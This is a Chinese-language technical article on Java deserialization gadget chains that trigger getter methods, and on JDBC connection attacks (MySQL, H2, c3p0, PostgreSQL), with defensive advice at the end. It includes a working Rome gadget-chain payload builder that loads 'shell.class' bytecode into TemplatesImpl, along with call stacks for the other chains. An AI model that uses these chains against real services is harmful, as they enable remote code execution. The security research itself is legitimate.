深入解析 Getter 方法的安全风险:源点调用与 JDBC 攻击
字数 1583 2025-08-29 08:29:58

深入解析 Getter 方法的安全风险:源点调用与 JDBC 攻击

前言

Getter 方法是 Java 开发中常用的方法类型,用于获取对象的属性值。然而,在某些情况下,Getter 方法的调用可能成为安全漏洞的源头,特别是在反序列化场景中。本文将详细分析 Getter 方法的安全风险,特别是如何通过反序列化触发 Getter 方法,并探讨 JDBC 相关的攻击方法。

如何触发 Getter 方法

Rome 反序列化

依赖

<dependencies>
    <dependency>
        <groupId>rome</groupId>
        <artifactId>rome</artifactId>
        <version>1.0</version>
    </dependency>
</dependencies>

示例代码

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.ToStringBean;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;

public class Bad {
    public static void main(String[] args) throws Exception {
        TemplatesImpl templatesimpl = new TemplatesImpl();
        byte[] bytecodes = Files.readAllBytes(Paths.get("shell.class"));
        setValue(templatesimpl,"_name","aaa");
        setValue(templatesimpl,"_bytecodes",new byte[][] {bytecodes});
        setValue(templatesimpl, "_tfactory", new TransformerFactoryImpl());
        
        ToStringBean toStringBean = new ToStringBean(Templates.class,templatesimpl);
        javax.management.BadAttributeValueExpException badAttributeValueExpException = 
            new javax.management.BadAttributeValueExpException(toStringBean);
        
        serialize(badAttributeValueExpException);
        unserialize("ser.bin");
    }
    
    // 辅助方法省略...
}

关键调用栈

  1. getOutputProperties:506, TemplatesImpl
  2. invoke0:-1, NativeMethodAccessorImpl
  3. toString:137, ToStringBean

原理
ToStringBean 类在 toString 方法中会循环调用对象的 Getter 方法,从而触发 TemplatesImpl 的 getOutputProperties 方法。

CB (Commons-Beanutils) 链子

依赖

<dependency>
    <groupId>commons-beanutils</groupId>
    <artifactId>commons-beanutils</artifactId>
    <version>1.9.2</version>
</dependency>

关键调用栈

  1. getOutputProperties:506, TemplatesImpl
  2. invokeMethod:2116, PropertyUtilsBean
  3. compare:163, BeanComparator

原理
BeanComparator 的 compare 方法会通过 PropertyUtils.getProperty 调用对象的 Getter 方法:

public int compare(T o1, T o2) {
    if (property == null) {
        return internalCompare(o1, o2);
    }
    try {
        Object value1 = PropertyUtils.getProperty(o1, property);
        Object value2 = PropertyUtils.getProperty(o2, property);
        return internalCompare(value1, value2);
    } catch (Exception e) {
        throw new RuntimeException(e.toString());
    }
}

Hibernate 反序列化

原理
Hibernate 的 BasicPropertyAccessor 类会通过 getGetter -> createGetter -> getGetterOrNull -> getterMethod 流程获取所有 Getter 方法,然后在静态类中触发。

Jackson 原生反序列化

原理
利用 POJONode 的 toString 方法触发 Getter 方法。参考链接:https://xz.aliyun.com/t/12509

Fastjson 原生

原理
与 Jackson 类似,使用 JSON 的 toJSONString 方法触发 Getter 方法。

JDBC 的利用

MysqlDataSource

POC

// 使用 Fastjson 原生修改的示例
// 首先生成一个 DNS 的 base64 编码后的数据
// 然后启动 fakemysql
// 运行代码

调试分析

  1. 从 Getter 到 getConnection 方法
  2. 获取传入参数
  3. 进入重写的 getConnection 方法
  4. 最终调用 mysqlDriver.connect 触发 JDBC 连接

DriverManagerDataSource

依赖

<dependency>
    <groupId>com.mchange</groupId>
    <artifactId>mchange-commons-java</artifactId>
    <version>0.2.11</version>
</dependency>

H2 数据库利用

  • 参数解析只接收 user 和 password
  • 在 createProps 方法中进行连接

c3p0-DriverManagerDataSource

原理
通过 getConnection 方法触发连接,可以攻击多种连接类型。

PGSimpleDataSource (PostgreSQL)

依赖

<dependency>
    <groupId>org.postgresql</groupId>
    <artifactId>postgresql</artifactId>
    <version>42.2.8</version>
</dependency>

三种攻击方法

  1. 加载远程 XML 文件
  2. 其他方法...

POC XML 文件

<!-- 远程 XML 文件内容 -->

调试分析

  1. URL 在 getUrl 方法中拼接
  2. 初始化 URL 并拼接服务器名称、端口号、数据库名称和查询参数
  3. 最终触发连接

总结

Getter 方法的安全风险主要体现在:

  1. 反序列化过程中可能被自动调用
  2. 通过 Rome、CB、Hibernate、Jackson、Fastjson 等框架触发
  3. JDBC 连接可以通过 Getter 方法触发,导致远程连接或文件加载

防御措施:

  1. 谨慎实现 Getter 方法,避免敏感操作
  2. 对反序列化过程进行严格控制
  3. 使用安全的 JDBC 连接配置
  4. 及时更新相关框架版本
深入解析 Getter 方法的安全风险:源点调用与 JDBC 攻击 前言 Getter 方法是 Java 开发中常用的方法类型,用于获取对象的属性值。然而,在某些情况下,Getter 方法的调用可能成为安全漏洞的源头,特别是在反序列化场景中。本文将详细分析 Getter 方法的安全风险,特别是如何通过反序列化触发 Getter 方法,并探讨 JDBC 相关的攻击方法。 如何触发 Getter 方法 Rome 反序列化 依赖 : 示例代码 : 关键调用栈 : getOutputProperties:506, TemplatesImpl invoke0:-1, NativeMethodAccessorImpl toString:137, ToStringBean 原理 : ToStringBean 类在 toString 方法中会循环调用对象的 Getter 方法,从而触发 TemplatesImpl 的 getOutputProperties 方法。 CB (Commons-Beanutils) 链子 依赖 : 关键调用栈 : getOutputProperties:506, TemplatesImpl invokeMethod:2116, PropertyUtilsBean compare:163, BeanComparator 原理 : BeanComparator 的 compare 方法会通过 PropertyUtils.getProperty 调用对象的 Getter 方法: Hibernate 反序列化 原理 : Hibernate 的 BasicPropertyAccessor 类会通过 getGetter -> createGetter -> getGetterOrNull -> getterMethod 流程获取所有 Getter 方法,然后在静态类中触发。 Jackson 原生反序列化 原理 : 利用 POJONode 的 toString 方法触发 Getter 方法。参考链接:https://xz.aliyun.com/t/12509 Fastjson 原生 原理 : 与 Jackson 类似,使用 JSON 的 toJSONString 方法触发 Getter 方法。 JDBC 的利用 MysqlDataSource POC : 调试分析 : 从 Getter 到 getConnection 方法 获取传入参数 进入重写的 getConnection 方法 最终调用 mysqlDriver.connect 触发 JDBC 连接 DriverManagerDataSource 依赖 : H2 数据库利用 : 参数解析只接收 user 和 password 在 createProps 方法中进行连接 c3p0-DriverManagerDataSource 原理 : 通过 getConnection 方法触发连接,可以攻击多种连接类型。 PGSimpleDataSource (PostgreSQL) 依赖 : 三种攻击方法 : 加载远程 XML 文件 其他方法... POC XML 文件 : 调试分析 : URL 在 getUrl 方法中拼接 初始化 URL 并拼接服务器名称、端口号、数据库名称和查询参数 最终触发连接 总结 Getter 方法的安全风险主要体现在: 反序列化过程中可能被自动调用 通过 Rome、CB、Hibernate、Jackson、Fastjson 等框架触发 JDBC 连接可以通过 Getter 方法触发,导致远程连接或文件加载 防御措施: 谨慎实现 Getter 方法,避免敏感操作 对反序列化过程进行严格控制 使用安全的 JDBC 连接配置 及时更新相关框架版本